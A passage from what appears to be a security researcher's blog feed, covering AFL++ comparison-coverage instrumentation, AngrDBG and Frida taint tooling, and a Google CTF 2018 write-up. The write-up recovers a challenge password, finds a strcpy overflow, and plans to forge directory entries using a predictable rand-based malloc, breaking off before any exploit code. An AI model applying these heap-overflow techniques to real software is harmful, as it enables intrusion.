<p>The <code class="language-plaintext highlighter-rouge">ot</code> variable is of type TCGMemOp that is an enum that describes instruction operands properties.</p>
<p>So using it we can generate the proper call:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">afl_gen_compcov</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">,</span> <span class="n">TCGv_i64</span> <span class="n">arg1</span><span class="p">,</span> <span class="n">TCGv_i64</span> <span class="n">arg2</span><span class="p">,</span>
<span class="n">TCGMemOp</span> <span class="n">ot</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">func</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">afl_enable_compcov</span> <span class="o">||</span> <span class="n">cur_loc</span> <span class="o">></span> <span class="n">afl_end_code</span> <span class="o">||</span> <span class="n">cur_loc</span> <span class="o"><</span> <span class="n">afl_start_code</span><span class="p">)</span>
<span class="k">return</span><span class="p">;</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">ot</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="n">MO_64</span><span class="p">:</span>
<span class="n">func</span> <span class="o">=</span> <span class="o">&</span><span class="n">afl_compcov_log_64</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="n">MO_32</span><span class="p">:</span>
<span class="n">func</span> <span class="o">=</span> <span class="o">&</span><span class="n">afl_compcov_log_32</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="n">MO_16</span><span class="p">:</span>
<span class="n">func</span> <span class="o">=</span> <span class="o">&</span><span class="n">afl_compcov_log_16</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="nl">default:</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cur_loc</span> <span class="o">=</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">>></span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">cur_loc</span> <span class="o">&=</span> <span class="n">MAP_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">>=</span> <span class="n">afl_inst_rms</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
<span class="n">tcg_gen_afl_compcov_log_call</span><span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="n">cur_loc</span><span class="p">,</span> <span class="n">arg1</span><span class="p">,</span> <span class="n">arg2</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Comparisons of only one byte are not instrumented obviously.</p>
<p>This instrumentation is disabled by default and can be enabled by setting the <code class="language-plaintext highlighter-rouge">AFL_QEMU_COMPCOV</code> environment variable.</p>
<p>To log memory comparison I hooked strcmp, strncmp, strcasecmp, strncasecmp and memcmp via preloading.</p>
<p>You can find the source of the library at <code class="language-plaintext highlighter-rouge">qemu_mode/libcompcov/libcompcov.so.c</code> and it mainly does these things:</p>
<ul>
<li>Get real *cmp functions of the libc with RTLD_NEXT</li>
<li>Open the AFL shared memory</li>
<li>Parse <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> to get the code portion that has to be considered when <code class="language-plaintext highlighter-rouge">AFL_INST_LIBS</code> is not set</li>
</ul>
<p>Also, the *cmp functions are replaced with functions similar in spirit to the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">__compcov_trace</span><span class="p">(</span><span class="n">u64</span> <span class="n">cur_loc</span><span class="p">,</span> <span class="k">const</span> <span class="n">u8</span><span class="o">*</span> <span class="n">v0</span><span class="p">,</span> <span class="k">const</span> <span class="n">u8</span><span class="o">*</span> <span class="n">v1</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">n</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">n</span> <span class="o">&&</span> <span class="n">v0</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">v1</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
<span class="n">__compcov_afl_map</span><span class="p">[</span><span class="n">cur_loc</span> <span class="o">+</span><span class="n">i</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">static</span> <span class="n">u8</span> <span class="nf">__compcov_is_in_bound</span><span class="p">(</span><span class="k">const</span> <span class="kt">void</span><span class="o">*</span> <span class="n">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">ptr</span> <span class="o">>=</span> <span class="n">__compcov_code_start</span> <span class="o">&&</span> <span class="n">ptr</span> <span class="o"><</span> <span class="n">__compcov_code_end</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">strcmp</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">str1</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">str2</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">retaddr</span> <span class="o">=</span> <span class="n">__builtin_return_address</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">__compcov_is_in_bound</span><span class="p">(</span><span class="n">retaddr</span><span class="p">))</span> <span class="p">{</span>
<span class="kt">size_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">__strlen2</span><span class="p">(</span><span class="n">str1</span><span class="p">,</span> <span class="n">str2</span><span class="p">,</span> <span class="n">MAX_CMP_LENGTH</span> <span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o"><=</span> <span class="n">MAX_CMP_LENGTH</span><span class="p">)</span> <span class="p">{</span>
<span class="n">u64</span> <span class="n">cur_loc</span> <span class="o">=</span> <span class="p">(</span><span class="n">u64</span><span class="p">)</span><span class="n">retaddr</span><span class="p">;</span>
<span class="n">cur_loc</span> <span class="o">=</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">>></span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">cur_loc</span> <span class="o">&=</span> <span class="n">MAP_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">__compcov_trace</span><span class="p">(</span><span class="n">cur_loc</span><span class="p">,</span> <span class="n">str1</span><span class="p">,</span> <span class="n">str2</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">__libc_strcmp</span><span class="p">(</span><span class="n">str1</span><span class="p">,</span> <span class="n">str2</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>I chose to use the real functions from libc instead of replacing it with a loop like tokencap does because the libc implementation using vectorial instructions is a magnitude faster.</p>
<p>The next steps are to instrument only comparisons with constant values by default and support all other architectures (currently works only for x86/x86_64).</p>
<p>The first stuff is not so trivial to do with DBI because the compiler may choose to not output instructions with the format <code class="language-plaintext highlighter-rouge">cmp reg, imm</code> even in presence of constant values.</p>
<p>This is always true when the constant is a 64 bit integer on x86_64 cause the maximum immediate size is 32 bit and so the compiler will generate something similar to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>movabs reg1, 0xabadcafe
cmp reg2, reg1
</code></pre></div></div>
<h2 id="evaluation">Evaluation</h2>
<p>As described in the laf-intel blog post, this is not pure gold. Its effectiveness depends on the target.</p>
<p>I did a test on libpng-1.6.37, I fuzzed it for almost 15 hours using this command line:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export AFL_PRELOAD=/path/to/libcompcov.so
export AFL_QEMU_COMPCOV=1
/path/to/AFLplusplus/afl-fuzz -Q -i input -o output -d -Q -- ./driver @@
</code></pre></div></div>
<p>The driver is simply this <a href="http://zarb.org/~gc/html/libpng.html">example</a> linked with a static libpng.</p>
<p>The input folder contains only the <code class="language-plaintext highlighter-rouge">not_kitty.png</code> image of the AFL testcases.</p>
<p>The results in terms of basic block founds are the following:</p>
<p><img src="/assets/libpng_aflpp_compcov_bb.png" alt="BBs" style="max-width: 100%; height: auto;" /></p>
<p>The size of the queue doubled but fortunately, this is not a symptom of path explosion:</p>
<p><img src="/assets/libpng_aflpp_compcov_queue.png" alt="Queue" style="max-width: 100%; height: auto;" /></p>
<p>On other targets enabling CompCov may not change the results or even give some performance penalties so it remains disabled by default, is up to you to choose if use it or not.</p>
<p>If you find some bugs using this instrumentation or simply do other tests DM me (<a href="https://twitter.com/andreafioraldi">@andreafioraldi</a>) and I will update this post.</p>
<h2 id="updates">Updates</h2>
<h4 id="september-12-2019">September 12, 2019</h4>
<p>With the 2.54c release of AFL++ now QEMU mode supports the immediates-only instrumentation for CompareCoverage
and the same instrumentation is now also ported to Unicorn mode.</p>
<p>To enable CompareCoverage the env variable is now <code class="language-plaintext highlighter-rouge">AFL_COMPCOV_LEVEL</code>.</p>
<p><code class="language-plaintext highlighter-rouge">AFL_COMPCOV_LEVEL=1</code> is to instrument only comparisons with immediates / read-only memory and <code class="language-plaintext highlighter-rouge">AFL_COMPCOV_LEVEL=2</code> is to instruments all
the comparison as the previous version of CompCov described above.</p>
Fuzzing like the Legendary Super Saiyan - AFL Talk2019-03-29T00:00:00+00:00https://andreafioraldi.github.io/articles/2019/03/29/afl-talk<p>You can read here an introduction to fuzzers showing strengths and weakness of this approach in automatic bug detection.</p>
<p>In particular the talk focus into the usage and the internals of one of the most popular fuzzers of this time: American Fuzzy Lop.</p>
<p>You will read not only how to use it but also some useful strategies that can be applied to specified classes of programs to improve the performance of AFL.</p>
<iframe src="https://docs.google.com/presentation/d/1CgsqmWMJhGdCHQfZVhA5hRD-240rcz_7nU5DZhXDL00/embed?start=false&loop=false&delayms=3000" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" width="640" height="379" frameborder="0"></iframe>
State synchronization between angr and pyQBDI2018-10-01T00:00:00+00:00https://andreafioraldi.github.io/articles/2018/10/01/angr_pyqbdi<iframe src="/assets/angr_pyqbdi.txt" style="width: 100%; height: 3400px">
</iframe>
Build an AngrDBG frontend for your debugger2018-09-22T00:00:00+00:00https://andreafioraldi.github.io/articles/2018/09/22/angrdbg-frontend<p><a href="https://github.com/andreafioraldi/angrdbg">AngrDBG</a> is the library that I developed to synchronize a concrete process state with an angr state.</p>
<p>The library is debugger agnostic. A frontend library that integrates AngrDBG with a specific debugger must implements a subclass of <code class="language-plaintext highlighter-rouge">angrdbg.Debugger</code> and register an istance of that class as source of data using <code class="language-plaintext highlighter-rouge">angrdbg.register_debugger</code>.</p>
<p>The methods that must be implemented are the following:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">before_stateshot(self)</code></li>
</ul>
<p>An event handler triggered before the synchronization setup in StateShot, just after the empty state creation</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">after_stateshot(self, state)</code></li>
</ul>
<p>An event handler triggered before the StateShot return</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">is_active(self)</code></li>
</ul>
<p>Return True if the debugger is running the target process</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">input_file(self)</code></li>
</ul>
<p>Return a python file-like object of the target executable</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">image_base(self)</code></li>
</ul>
<p>Return the process base address</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">get_<byte|word|dword|qword>(self, addr)</code></li>
</ul>
<p>Read an <code class="language-plaintext highlighter-rouge">byte|word|dword|qword</code> from the memory as a python int (4 distinct methods)</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">get_bytes(self, addr, size)</code></li>
</ul>
<p>Read a string from the memory</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">put_<byte|word|dword|qword>(self, addr, value)</code></li>
</ul>
<p>Write a python in as a <code class="language-plaintext highlighter-rouge">byte|word|dword|qword</code> to the memory (4 distinct methods)</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">put_bytes(self, addr, value)</code></li>
</ul>
<p>Write a string to the memory</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">get_reg(self, name)</code></li>
</ul>
<p>Get a register value</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">set_reg(self, name, value)</code></li>
</ul>
<p>Set a register value</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">step_into(self)</code></li>
</ul>
<p>Call the debugger step into command</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">run(self)</code></li>
</ul>
<p>Run the process inside the debugger</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">wait_ready(self)</code></li>
</ul>
<p>Wait until the debugged process is ready to be inspected</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">refresh_memory(self)</code></li>
</ul>
<p>Refresh the memory API of the debugger</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">seg_by_name(self, name)</code></li>
</ul>
<p>Get a Segment object by the name</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">seg_by_addr(self, name)</code></li>
</ul>
<p>Get a Segment object by the address</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">get_got(self)</code></li>
</ul>
<p>Get a tuple (start address, end address) related to the GOT section</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">get_plt(self)</code></li>
</ul>
<p>Get a tuple (start address, end address) related to the PLT section</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">resolve_name(self, name)</code></li>
</ul>
<p>Resolve a symbol to its address using the name</p>
<p>You can find <a href="https://github.com/andreafioraldi/angrgdb/blob/master/angrgdb/debugger.py">here</a> the GDBDebugger class used in the GDB frontend.</p>
Taint with Frida2018-09-02T00:00:00+00:00https://andreafioraldi.github.io/projects/2018/09/02/taint-with-frida<blockquote>
<p>Frida is slow, you can’t do taint analysis</p>
<p>cit. chqmatteo</p>
</blockquote>
<p>I never used <a href="https://www.frida.re/">Frida</a> before, so I decided some days ago to start learning it.</p>
<p>But how to start?
Obviously testing the real capabilities of the tool writing a taint analysis module.</p>
<p><a href="https://github.com/andreafioraldi/taint-with-frida">https://github.com/andreafioraldi/taint-with-frida</a></p>
<p>In the following example each buffer readed using the <code class="language-plaintext highlighter-rouge">read</code> syscall is tainted.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">taint</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">./taint</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">syscallPreHook</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">ctx</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">sn</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">rax</span><span class="p">.</span><span class="nx">toInt32</span><span class="p">();</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">syscall index = </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">sn</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">sn</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//read</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">memory</span><span class="p">.</span><span class="nx">taint</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">rsi</span><span class="p">,</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">rdx</span><span class="p">);</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">report</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nx">sn</span> <span class="o">==</span> <span class="mi">60</span> <span class="o">||</span> <span class="nx">sn</span> <span class="o">==</span> <span class="mi">231</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//exit || exit_group</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">exiting</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">stopTracing</span><span class="p">();</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">report</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">syscallPostHook</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">ctx</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">syscall ret = </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">rax</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">ptr</span><span class="p">(</span><span class="dl">"</span><span class="s2">0x400643</span><span class="dl">"</span><span class="p">),</span> <span class="c1">//main</span>
<span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">enter main()</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">taint</span><span class="p">.</span><span class="nx">startTracing</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span> <span class="c1">//true -> hook syscalls</span>
<span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>
SFTP - Google CTF 20182018-06-29T00:00:00+00:00https://andreafioraldi.github.io/ctf/2018/06/29/google-ctf-2018-sftp<blockquote>
<p>Crosspost from the <a href="https://mhackeroni.it/archive/2018/06/29/google-ctf-2018-sftp.html">mhackeroni website</a></p>
</blockquote>
<blockquote>
<p>This file server has a sophisticated malloc implementation designed to thwart traditional heap exploitation techniques…</p>
</blockquote>
<p>The challenge file is only a x86_64 ELF binary named sftp.</p>
<p>The active protections are the following:</p>
<ul>
<li>Partial RELRO</li>
<li>Stack canary</li>
<li>NX</li>
<li>PIE</li>
<li>FORTIFY</li>
</ul>
<p>Executing the file results in a password prompt:</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_1.png" alt="sftp_1" width="100%" /></p>
<p>Let’s dissect it in IDA.</p>
<p>In the main procedure we can see that the authentication is handled by a function that returns a boolean value.</p>
<p>Here the decompiled code:</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_2.png" alt="sftp_2" width="100%" /></p>
<p>The password is hashed using a custom algorithm as we can see and the hash must be 0x8dfa to gain the access.</p>
<p>To reverse the hash I use the IDA Pro plugin IDAngr with the following steps:</p>
<ul>
<li>Set a breakpoint just after the password scanf (as in the picture)</li>
<li>Run the debugger and insert “a”*15 as the password when the debugged process ask for it.</li>
<li>When the breakpoint is hitted set the avoid address to the “return 0” address and the find address to the “return result” address.</li>
<li>Mark the password as symbolic</li>
</ul>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_3.png" alt="sftp_3" width="100%" /></p>
<p>To get an usable result some constraints must be added to the symbolic password:
it must be printable and without spaces (due to scanf).</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_4.png" alt="sftp_4" width="100%" /></p>
<p>Ok it’s time to run the exploration engine and get a result.</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_5.png" alt="sftp_5" width="100%" /></p>
<p>… after some time …</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_6.png" alt="sftp_6" width="100%" /></p>
<p>Here you go! <strong>p&a2]</strong> is a valid password for SFTP.</p>
<p>After the successful login we are in a shell-like prompt with some commands available:</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_7.png" alt="sftp_7" width="100%" /></p>
<p>With ls we can see that in the current directory there are two nodes: flag and src.</p>
<p>The command “get flag” returned a very interesting output, check it <a href="https://i.ytimg.com/vi/PtUmOMlWYcw/maxresdefault.jpg">here</a>.</p>
<p>In the src folder you can find the application source code sftp.c (You can find it in the attached zip file).</p>
<p>The next step is to analyze the code in order to find a vulnerability.</p>
<p>You can immediately see that the files secure_allocator.h and filesystem.h included in the code are missing and so we must combine the sftp.c file with the information that we can extract from the binary with a bit of reverse engineering.</p>
<p>Firstly we try to reconstruct secure_allocator.h in which is probably defined a custom implementation of malloc, realloc and free.</p>
<p>In the binary we have 3 wonderful symbols, malloc realloc and free.</p>
<p>They actually look pretty dumb:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span><span class="o">*</span> <span class="nf">malloc</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">&</span> <span class="mh">0x1FFFFFFF</span> <span class="o">|</span> <span class="mh">0x40000000LL</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">free</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">ptr</span><span class="p">)</span> <span class="p">{}</span>
<span class="kt">void</span><span class="o">*</span> <span class="nf">realloc</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">ptr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">ptr</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In order to work malloc needs the address 0x40000000 to be mapped and in the main procedure this is not done, so let’s search for an initialization routine.</p>
<p>The binary has the .init_array section, a list of functions pointers that are executed before main.</p>
<p>These pointers are two in sftp.</p>
<p>The first is the allocator initializer, it maps 0x40000000 and calls srand with time(0).</p>
<p>This is good because the rand return value (and so malloc) is predictable.</p>
<p>The second is related to the filesystem initialization, we will analyze it later.</p>
<p>With a first analysis of the source code you can notice that the structure entry has a name field of size name_max (20) but the new_entry procedure takes a path as parameter of size path_max (4096) and then it is copied with strcpy in child->name.</p>
<p>So we have an overflow here.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">entry</span><span class="o">**</span> <span class="nf">new_entry</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">path</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">strrchr</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="sc">'/'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">name</span><span class="p">)</span> <span class="p">{</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">path</span><span class="p">;</span>
<span class="n">path</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="o">*</span><span class="n">name</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="o">*</span><span class="n">child</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">entry</span><span class="p">));</span>
<span class="p">(</span><span class="o">*</span><span class="n">child</span><span class="p">)</span><span class="o">-></span><span class="n">parent_directory</span> <span class="o">=</span> <span class="n">parent</span><span class="p">;</span>
<span class="p">(</span><span class="o">*</span><span class="n">child</span><span class="p">)</span><span class="o">-></span><span class="n">type</span> <span class="o">=</span> <span class="n">INVALID_ENTRY</span><span class="p">;</span>
<span class="n">strcpy</span><span class="p">((</span><span class="o">*</span><span class="n">child</span><span class="p">)</span><span class="o">-></span><span class="n">name</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span> <span class="c1">//OVERFLOW</span>
</code></pre></div></div>
<p>The secure allocator realloc implementation combined with the new_entry code is very interesting.</p>
<p>In particular this line of code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">directory_entry</span><span class="o">*</span> <span class="n">new_parent</span> <span class="o">=</span> <span class="n">realloc</span><span class="p">(</span><span class="n">parent</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">directory_entry</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">parent</span><span class="o">-></span><span class="n">child_count</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">entry</span><span class="o">*</span><span class="p">)));</span>
</code></pre></div></div>
<p>By default a directory entry has an array of 16 elements used to store pointers to children entries.</p>
<p>The realloc does nothing so if we can write a fake address in the <code class="language-plaintext highlighter-rouge">entry->child[17]</code> when child_count is less than 16 it will be considered a child of the directory also after the reallocation.</p>
<p>How could we possibly write somthing in this array? Of course using the buffer overflow in the name field!</p>
<p>We can craft a fake child abusing the code of new_directory + new_entry:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">directory_entry</span><span class="o">*</span> <span class="nf">new_directory</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">directory_entry</span><span class="o">*</span> <span class="n">dir</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">entry</span><span class="o">**</span> <span class="n">child</span> <span class="o">=</span> <span class="n">new_entry</span><span class="p">(</span><span class="n">path</span><span class="p">);</span> <span class="c1">//do here the overflow using path</span>
<span class="n">dir</span> <span class="o">=</span> <span class="n">realloc</span><span class="p">(</span><span class="o">*</span><span class="n">child</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">directory_entry</span><span class="p">)</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">entry</span><span class="o">*</span><span class="p">));</span>
<span class="n">dir</span><span class="o">-></span><span class="n">entry</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">DIRECTORY_ENTRY</span><span class="p">;</span>
<span class="n">dir</span><span class="o">-></span><span class="n">child_count</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">dir</span><span class="o">-></span><span class="n">child</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">entry</span><span class="o">*</span><span class="p">));</span> <span class="c1">//beware!</span>
<span class="k">return</span> <span class="n">dir</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>With the overflow in name we must write data until the 17th child entry of the directory (the first 16 are later set to 0 with the memset).</p>
<p>Now we have a problem? Which address we must write in the array?</p>
<p>We should use a fake entry created with put_file, but how we can know the address of a entry?</p>
<p>Simply, we can predict malloc using rand(time(0)) in the exploit.</p>
<p>So let’s return to the filesystem initialization routine.
(Import the structures in IDA for a better re)</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">directory_entry</span> <span class="o">*</span><span class="nf">init_filesystem</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">file_entry</span> <span class="o">*</span><span class="n">flag_entry</span><span class="p">;</span> <span class="c1">// rbx</span>
<span class="kt">size_t</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// rax</span>
<span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="kt">size_t</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// rdx</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// rdi</span>
<span class="kt">size_t</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// rax</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">v6</span><span class="p">;</span> <span class="c1">// rdx</span>
<span class="k">struct</span> <span class="n">file_entry</span> <span class="o">*</span><span class="n">v7</span><span class="p">;</span> <span class="c1">// rbx</span>
<span class="kt">size_t</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// rax</span>
<span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// eax</span>
<span class="kt">size_t</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// rdx</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// rdi</span>
<span class="k">struct</span> <span class="n">directory_entry</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span>
<span class="n">_BYTE</span> <span class="o">*</span><span class="n">v13</span><span class="p">;</span> <span class="c1">// rdx</span>
